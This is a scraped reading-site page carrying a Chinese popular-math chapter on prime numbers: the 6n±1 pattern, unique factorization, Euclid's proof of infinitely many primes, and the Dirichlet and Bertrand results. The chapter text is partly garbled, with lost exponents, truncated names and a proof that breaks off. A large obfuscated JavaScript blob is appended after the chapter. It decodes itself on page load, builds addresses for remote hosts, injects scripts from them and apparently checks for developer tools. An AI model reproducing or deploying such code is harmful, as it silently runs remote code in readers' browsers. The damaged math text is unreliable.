关灯
护眼
字体:

02 永无穷尽的素数(第1页)

章节目录保存书签

02永无穷尽的素数

镶嵌在数的拼图中的素数

我们怎样才能确定素数不会越来越稀少,最终逐渐消失殆尽呢?你可能会认为由于有无穷多自然数,而每一个都可以被分解为素数的乘积(这一点我们一会儿仔细解释),那么必然得有无穷多个素数才能承担这一工作。虽然这个结论是正确的,但它并不能从上述观察中得出。这是因为如果我们从有限个素数开始,仅使用这些给定的素因数,我们就能制造出无穷多不同的数。确实如此,任何单个素数都有无穷多个幂次。比如,素数2的幂分别为2,4,8,16,32,64,…因而完全可以设想:只有有限多的素数,每个数都是那些素数的幂的乘积。更糟的是,我们能构造出一个给定数的任意长度的幂数列,或它的任意多倍数列,却没法用同样的手段构造出一个由不同素数组成的无穷数列。对于素数,我们还是得去搜寻,到底怎么才能确定它们不会绝迹?

在这一章结束的时候,我们便会对这一点确定无疑了。首先,请你注意素数的一个值得一提的简单“规律”——除了2和3以外的每一个素数,都与一个6的倍数相邻。换句话说,在这两个数之后的每一个素数,都是像6n±1这样的形式,这里n是某个确定的数。(记住6n是6×n的缩写,符号“±”的意思是加或减。)原因很好理解,每个数都一定可以写成以下6种形式中的一种:6n,6n±1,6n±2,6n+3,因为没有数与6的某个倍数距离超过3。例如,17=(6×3)-1,28=(6×5)-2,57=(6×9)-3。事实上,这6个形式的数是循环出现的,这意味着当你写下任意6个连续的数,6种形式每个都会出现且仅出现1次。在这之后它们会一遍又一遍地循环出现,并且出现的顺序总是相同的。很显然6n和6n±2形式的数都是偶数。而任何形如6n+3的数都可以被3整除。因此,除了2和3,只有形如6n±1的数可能是素数。如果6n±1两者都是素数,这种情况恰好对应于孪生素数:比如(6×18)±1给出一对数107和109,我们在第1章中提到过它们。你可能会猜测每对6n±1中至少有1个是素数——这对于100以下的素数来说的确是对的,但往后不远就存在着第一个例外:(6×20)-1=119=7×17,(6×20)+1=121=11×11。当n=20时,这两个数都不是素数。

素数之所以重要,主要是因为每个数都可以写成一系列素数的乘积,并且这么做的方法本质上只有一种。为了找到这个特别的分解,我们只须用某种方法分解这个给定的数,接着继续分解在因数中出现的合数,直到这样的分解不能再继续为止。比如,我们可以说120=2×60,接着继续将合数因数60分解:

120=2×60=2×(2×30)=2×2×(2×15)

=2×2×2×3×5。

我们说120的素因数分解(primefactorization)为23×3×5,当然我们也可以用另一种途径得到这个结论。比如:

120=12×10=(3×4)×(2×5)

=[3×(2×2)]×(2×5)。

但如果将素因数从小到大重新排列,我们依然得到了与之前相同的结果:120=22×3×5。

至少在上面这个例子中分解的唯一性是真的。你可能或多或少已经熟悉数的这一性质,但是如何保证这个结论适用于每一个数?任何数都可以分解为素数的乘积,这已经足够清楚了。但是,一般来说有不止一种办法可以完成这个任务。那么我们如何确定这个过程总能给出相同的最终结果呢?这是一个重要的问题,因此我将花上一点儿时间概述一下推理的过程,从而使我们能绝对信赖这个结论的正确性。这个结果来自素数的一个特殊性质,我们叫它欧几里得性质(Euproperty):假设有一个由两个或更多数相乘得到的积,如果一个素数是该乘积的一个因数,那么它也是构成这个乘积的某个因数的因数。比如,7是8×35=280(也可以看作乘积280=7×40)的一个因数,同时我们注意到7也是35的一个因数。这个性质刻画了素数的特征,因为没有合数能够保证同样的结论成立。例如,我们可以看出6是8×15=120(也可以看作120=6×20)的一个因数,6却不是8或15的因数。

素数总是拥有以上性质,这一事实可以用被称为欧几里得算法[1](Eualgorithm)的推理来证明。我们将在第4章解释这个算法。如果我们暂且相信这个结果,那么就不难解释为什么不存在一个数拥有两个不同的素因数分解。假设存在拥有两个不同素因数分解的数,那么就存在一个最小的这样的数,让我们用n表示它。n有两种素因数分解。当把n的素因数从小到大排列的时候,这两个分解不相同。我们要证明这是矛盾的,因而假设一定为假。

值得一提的是,如果我们把数1包括在素数里,素因数分解的唯一性将不再成立。这是因为我们可以将1的任意幂次方乘上一个分解式,最后的积保持不变。这表明1和素数们有着本质上的不同。基于此,把1排除在素数的定义之外是正确的。

欧几里得:素数的无穷性

让我们回到这个问题:我们怎么知道素数无穷无尽,没有办法找到最大的素数?如果有人声称101是最大的素数,你即刻便能反驳他,因为你可以证明103没有因数(除了1和103以外),因此103是一个更大的素数。接下来你的朋友可能会承认自己大意了,他应该说103是所有素数中最大的。这时候你还可以指出107也是一个素数,从而再次表明他错了。然而你的朋友可能还是执迷不悟,他搬出你们所知的最大的素数。他甚至可能退一小步,承认自己并不知道最大的素数是多少,却继续说他很确定有这么一个数。

解决这个问题最好的方法是:对于任何假想的有限的素数集合,证明我们都能给出一个不在这个集合中的新的素数。比方说,如果有人号称在某个位置存在一个最大的奇数。你可以反驳说,假如n是奇数,那么n+2是一个更大的奇数,因而不可能有一个最大的奇数。然而,这个方法对于素数来说可就不那么简单了——给定一串有限的素数,我们没有办法使用这个集合来造出一个素数,并且表明它比集合中所有的数都大。那么,或许真的有一个最大的素数?我们怎么才能知道那位固执的朋友是不对的呢?

欧几里得是知道的。约公元前300年,希腊有个数学家叫亚历山大里亚的欧几里得(EuclidofAlexandria)。他就是一切作为定语使用的词“欧几里得”(Eu)本人。从给定一个集合p1,p2,…,pk(其中每个pi表示一个不同的素数),他也没能找到生成一个新的素数的途径,于是他退回一步,找到了一个更加微妙的论证方法。他证明了在某个给定的数的范围内,总是存在一个或更多的新素数(但他的论据并不足以让我们在那个范围内精确地定位素数)。

他的证明如下:设p1,p2,…,pk为前k个素数。考虑比所有这些素数的积还大1的数n,即n=p1p2…pk+1。n要么是一个素数,要么可以被一个小于它自身的素数整除。如果是后一种情况,这个素因数不可能是p1,p2,…,pk中的任意一个。因为假设p是p1,p2,…,pk中任意一个数,将n除以p会有余数1。于是可推知n的任何素因数都会是一个新的素数,并且比p1,p2,…,pk里面所有的素数都大,但不超过n自己。特别是,由此可知不存在任何包含所有素数的有限的列表,因而素数数列会不断延续下去,永不终结。欧几里得关于素数无穷性的证明是永恒不朽的,是数学中最受敬仰的证明之一。

虽然欧几里得的推理没有确切地说明在哪里能找到下一个素数,但现在我们对素数出现的频率已经有了深入的理解。例如,如果我们任意取两个没有公因数的数,比如a和b,并考虑数列a,a+b,a+2b,a+3b,…,德国数学家约翰·狄利克雷(Johan,1805——1859)证明这样一个数列包含无穷多个素数。(当然,如果a和b有公因数——比方说d,这就没有希望成立了。因为如此一来,列表里每一个成员都是d的倍数,因而不是素数。)当a=1,b=2时,我们得到由奇数组成的数列。由欧几里得的证明,我们知道它包含无穷多素数。实际上,通过对欧几里得的方法进行一些十分简单的改进,还可以证明其他一些特殊情况,比方说以下形式的数列:3+4n,5+6n,5+8n(n依次取1,2,3,…),它们各自都含有无穷多素数。但是,要证明狄利克雷的一般结论就非常难了。

另一个可以简单陈述的结果是,对于任意给定的数n(n≥2),至少存在一个素数大于n但小于2n。这在历史上被称为伯特兰猜想[2](Bertrand'spostulate),它可以用非常基本的数学知识来证明,虽然这个证明本身有些取巧。我们可以使用下面列出的素数,对取值不大于4000的n验证这个论断。首先观察到这个列表中位于打头的素数2之后的每个数都小于前一个数的2倍:

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();